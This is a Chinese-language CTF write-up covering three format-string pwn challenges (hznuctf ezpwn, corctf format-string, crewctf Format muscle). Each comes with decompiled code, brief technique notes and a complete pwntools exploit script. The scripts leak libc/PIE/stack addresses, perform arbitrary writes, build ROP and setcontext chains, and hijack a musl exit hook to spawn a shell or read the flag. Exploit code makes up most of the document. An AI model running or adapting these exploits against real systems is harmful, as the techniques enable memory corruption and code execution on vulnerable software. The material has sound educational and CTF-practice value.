奇奇怪怪格式化字符串漏洞的利用1
非栈上格式化字符串套orw
hznuctf_ezpwn
int __cdecl main(int argc, const char **argv, const char **envp)
{
sand_box(argc, argv, envp);
rand_time();
vuln();
return 0;
}
void rand_time()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
seed = time(0LL);
printf("welcome to HZNUCTF !");
printf("Please input your name: ");
read(0, buf, 0x10uLL);
printf("Hello, %s\n", buf);
puts("I wonder if you're lucky enough");
srand(seed);
for ( i = 0; i <= 9; ++i )
{
printf("Let's guess the number: ");
__isoc99_scanf("%d", &seed);
if ( rand() != seed )
{
puts("Wrong.");
puts("Guess you weren't lucky enough.");
exit(-1);
}
puts("Right.");
}
}
__int64 vuln()
{
puts("WOW you really a lucky guy!");
puts("Then I want to know if you are capable enough.");
while ( 1 )
{
printf("Please tell us something: ");
read(0, s1, 0x80uLL);
if ( !strcmp(s1, "HZNUCTF") )
break;
printf(s1);
}
return 0LL;
}
非栈上格式化字符串相对栈上格式化字符串 最麻烦的地方是任意地址写需要通过一个指针去调整另一个指针,一个字节或者是两个字节的写数据,需要两个步骤,有orw的情况下(不考虑这个沙箱能escape的情况)如果能正常退出循环,可以配合栈迁移的方式,把栈迁移到输入地址那进行rop,然后还可以通过二次迁移迁移到已知的地址来做更复杂的操作
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "150.158.117.224"
PORT = 20042
elf = context.binary = ELF('./ez_pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
cdll=ctypes.CDLL("./libc-2.31.so")
p = connect()
payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
payload=cdll.rand()
sla("Let's guess the number: ",str(payload))
payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)
stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369
payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100
payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)
payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)
p.interactive()
3个字节格式化字符串泄露libc
corctf_format-string
source.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void do_printf()
{
char buf[4];
if (scanf("%3s", buf) <= 0)
exit(1);
printf("Here: ");
printf(buf);
}
void do_call()
{
void (*ptr)(const char *);
if (scanf("%p", &ptr) <= 0)
exit(1);
ptr("/bin/sh");
}
int main()
{
int choice;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1)
{
puts("1. printf");
puts("2. call");
if (scanf("%d", &choice) <= 0)
break;
switch (choice)
{
case 1:
do_printf();
break;
case 2:
do_call();
break;
default:
puts("Invalid choice!");
exit(1);
}
}
return 0;
}
程序的输入只有三个字节,只需要泄露libc的地址就可以通过do_call去getshell,”%*d”表达式有两个参数一个是打印的宽度,另一个是打印的字符,printf(“% *d”, 5, 42); 这里rsi是宽度 rdx是打印的数字
在第一次do_printf的时候 printf(“Here: “); rsi残留了一个printf缓冲区的地址,这个地址被当成了宽度,在解析格式化字符串的时候printf的缓冲区被写满了字符,第二个do_printf的时候,通过 %s可以将printf缓冲区的内容泄露出来,缓冲区结尾有libc的地址,所以可以通过这种方式去泄露libc
pwndbg>
0x00005d8dccc20236 in do_printf ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────
*RAX 0x0
RBX 0x5d8dccc203b0 (__libc_csu_init) ◂— endbr64
RCX 0x0
RDX 0x0
RDI 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
RSI 0x4
R8 0x64
R9 0x0
R10 0x5d8dccc21004 ◂— 0x6572654800733325 /* '%3s' */
R11 0x246
R12 0x5d8dccc20100 (_start) ◂— endbr64
R13 0x7ffe4c726f90 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
RSP 0x7ffe4c726e70 ◂— 0x642a25ccc20100
*RIP 0x5d8dccc20236 (do_printf+77) ◂— call 0x5d8dccc200c0
────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────
0x5d8dccc20217 <do_printf+46> call __isoc99_scanf@plt <__isoc99_scanf@plt>
0x5d8dccc2021c <do_printf+51> test eax, eax
0x5d8dccc2021e <do_printf+53> jg do_printf+65 <do_printf+65>
↓
0x5d8dccc2022a <do_printf+65> lea rdi, [rip + 0xdd7]
0x5d8dccc20231 <do_printf+72> mov eax, 0
► 0x5d8dccc20236 <do_printf+77> call printf@plt <printf@plt>
format: 0x5d8dccc21008 ◂— 0x2500203a65726548 /* 'Here: ' */
vararg: 0x4
0x5d8dccc2023b <do_printf+82> lea rax, [rbp - 0xc]
0x5d8dccc2023f <do_printf+86> mov rdi, rax
0x5d8dccc20242 <do_printf+89> mov eax, 0
0x5d8dccc20247 <do_printf+94> call printf@plt <printf@plt>
0x5d8dccc2024c <do_printf+99> nop
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe4c726e70 ◂— 0x642a25ccc20100
01:0008│ 0x7ffe4c726e78 ◂— 0xace6cc258ec17700
02:0010│ rbp 0x7ffe4c726e80 —▸ 0x7ffe4c726ea0 ◂— 0x0
03:0018│ 0x7ffe4c726e88 —▸ 0x5d8dccc2036c (main+164) ◂— jmp 0x5d8dccc20390
04:0020│ 0x7ffe4c726e90 ◂— 0x14c726f90
05:0028│ 0x7ffe4c726e98 ◂— 0xace6cc258ec17700
06:0030│ 0x7ffe4c726ea0 ◂— 0x0
07:0038│ 0x7ffe4c726ea8 —▸ 0x7d2bbe226083 (__libc_start_main+243) ◂— mov edi, eax
───────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
► 0 0x5d8dccc20236 do_printf+77
1 0x5d8dccc2036c main+164
2 0x7d2bbe226083 __libc_start_main+243
3 0x5d8dccc2012e _start+46
───────────────────────────
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64')
# log_level='debug'
is_debug = 0
IP = "be.ax"
PORT = 32323
elf = context.binary = ELF('./chal')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
def print_data(data):
sl("1")
sl(data)
def call_addr(addr):
sl("2")
sl(hex(addr).encode())
print_data("%*d")
print_data("%s")
system = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x19a6f0
call_addr(system)
p.interactive()
musl libc中的格式化字符串 (和禁用$差不多)
crewctf_Format muscle
使用musl libc动态连接
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf((FILE *)&dword_0, 0LL);
do
{
fgets(s, 256, (FILE *)&dword_0);
printf(s);
}
while ( strncmp(s, "quit", 4uLL) );
exit(0);
}
musl libc中没有glibc里 %10$n这样的位置描述符,所以在不使用位置描述符的情况下去实现任意地址读写的原语,可以填充大量的%c去替代idx来实现任意地址读写的
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./format-muscle')
# libc = elf.libc
libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
gdb_comm = '''
b *$rebase(0x11F5)
c
'''
def write_byte(byte, addr):
sl(b'%c%c%c%c' + f'.%{byte + 248}c%c'.encode() + b'%c%c%hhn' + p64(addr))
def write_qword(qword, addr):
for i in range(8):
write_byte((qword >> (8 * i)) & 0xff, addr + i)
# -stack-libc
payload = b'%p' * 34 + b'-%p'
payload += b'%p' * 7 + b'-%p'
sl(payload)
ru('-')
stack = int(r(14),16)
ru('-')
libc_base = int(r(14),16) - (0x75fb9b010560 - 0x75fb9af61000)
rbp = stack - (0x7ffe2b6f52c8 - 0x7ffe2b6f5280)
input_addr = rbp - 0x110
success(hex(libc_base))
success(hex(rbp))
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi_ret = libc_base + 0x00000000000152a1
ret = libc_base + 0x0000000000019e9c
payload = b'\x00' * 255
sl(payload) # clean up buf
payload = b'%p' * 46 + b'-%p'
sl(payload)
ru('-')
elf_base = int(r(14),16) - (0x61b7c38d50a6 - 0x61b7c38d4000)
success(hex(elf_base))
payload = b'\x00' * 255
sl(payload) # clean up buf
struct_fl_addr = libc_base + 0xafc48
fake_struct_fl_addr = elf_base + 0x4200
write_qword(fake_struct_fl_addr, struct_fl_addr)
write_qword(fake_struct_fl_addr, fake_struct_fl_addr)
write_qword(system, fake_struct_fl_addr + 0x100)
write_qword(binsh, fake_struct_fl_addr + 0x200)
# g(p)
sl("quit")
p.interactive()
musl libc中的exit hook,在exit的一个子函数中有一个函数指针的调用的操作,这个函数指针和参数都在ld的数据段上,所以如果能实现任意地址写同时能触发exit就能通过exit hook去getshell
void __fastcall __noreturn exit(unsigned int a1)
{
sub_1B880();
sub_75E10();
sub_5A100();
Exit(a1);
}
__int64 sub_1B880()
{
__int64 result; // rax
_QWORD *v1; // rdx
int v2; // ecx
__int64 v3; // r12
void (__fastcall *v4)(__int64); // rbp
bool v5; // cc
result = sub_68D30(&unk_AFE60);
v1 = (_QWORD *)qword_AFC48;
if ( qword_AFC48 )
{
v2 = dword_AFE64;
result = (unsigned int)--dword_AFE64;
if ( v2 <= 0 )
goto LABEL_4;
while ( 1 )
{
do
{
v3 = v1[(int)result + 33];
v4 = (void (__fastcall *)(__int64))v1[(int)result + 1];
sub_68E20(&unk_AFE60);
v4(v3);
sub_68D30(&unk_AFE60);
result = (unsigned int)(dword_AFE64 - 1);
v5 = dword_AFE64 <= 0;
v1 = (_QWORD *)qword_AFC48;
--dword_AFE64;
}
while ( !v5 );
LABEL_4:
dword_AFE64 = 32;
v1 = (_QWORD *)*v1;
qword_AFC48 = (__int64)v1;
if ( !v1 )
break;
dword_AFE64 = 31;
LODWORD(result) = 31;
}
}
return result;
}